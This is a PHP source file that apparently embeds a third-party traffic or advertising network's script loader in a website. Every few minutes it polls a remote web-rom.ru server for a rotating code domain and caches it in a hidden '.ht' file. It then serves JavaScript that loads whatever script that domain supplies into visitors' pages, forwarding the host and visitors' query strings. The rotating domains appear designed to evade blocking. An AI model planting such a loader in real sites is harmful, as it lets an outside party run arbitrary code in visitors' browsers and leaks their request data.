<?php

class WEBROM {

	private static $__user_id = '41342';
	private static $__update_time_min = 7; // check code update every 7 minutes
	private static $__actual_code_url = 'http://auto-varied-code.web-rom.ru/actual_main_code_domain.html';
	private static $__cache_file_name = '.ht_wr_cache.txt';

	public static function get_code() {
		self::check_temp_dir_function();
		$curr_path = @realpath(sys_get_temp_dir());
		//self::$__cache_file_name = ($curr_path ? $curr_path . '/' : '') . self::$__cache_file_name;
		if (@filemtime(self::$__cache_file_name) < time() - max(1, self::$__update_time_min) * 60) {
			if (!self::write_cache_to_file('')) {
				error_log('WEBROM file ' . self::$__cache_file_name . ' is not writable');
				return false;
			} else {
				$new_code_domain = @file_get_contents(self::$__actual_code_url . '?uid=' . self::$__user_id . (@$_SERVER['HTTP_HOST'] ? '&host=' . $_SERVER['HTTP_HOST'] : ''));
				if ($new_code_domain) {
					self::write_cache_to_file($new_code_domain);
				}
			}
		}
		if (!isset($new_code_domain)) {
			$new_code_domain = @file_get_contents(self::$__cache_file_name);
		}
		if ($new_code_domain) {
			$add_str = '&template_uid=' . self::$__user_id . ($_SERVER['QUERY_STRING'] ? '&' . $_SERVER['QUERY_STRING'] : '');
			$src = 'http://' . trim($new_code_domain) . '/?get_code' . $add_str;
			header('Content-Type: application/x-javascript');
			echo 'document.write(\'<script type="text/javascript" src="' . $src . '"></script>\');';
		}
	}

	private static function write_cache_to_file($data) {
		$fp = fopen(self::$__cache_file_name, "w");
		if ($fp) {
			fwrite($fp, $data);
			fclose($fp);
			return true;
		}
		return false;
	}

	private static function check_temp_dir_function() {
		if (!function_exists('sys_get_temp_dir')) {

			function sys_get_temp_dir() {
				if (!empty($_ENV['TMP']) && is_writable($_ENV['TMP'])) {
					return realpath($_ENV['TMP']);
				} else if (!empty($_ENV['TMPDIR']) && is_writable($_ENV['TMPDIR'])) {
					return realpath($_ENV['TMPDIR']);
				} else if (!empty($_ENV['TEMP']) && is_writable($_ENV['TEMP'])) {
					return realpath($_ENV['TEMP']);
				} else {
					$temp_file = tempnam(md5(uniqid(rand(), TRUE)), '');
					if ($temp_file) {
						$temp_dir = realpath(dirname($temp_file));
						unlink($temp_file);
						return $temp_dir;
					} else {
						return FALSE;
					}
				}
			}

		}
	}

}

ini_set('error_reporting', E_ALL);
ini_set('display_errors', (isset($_GET['show_errors']) ? '1' : '0'));

WEBROM::get_code();
?>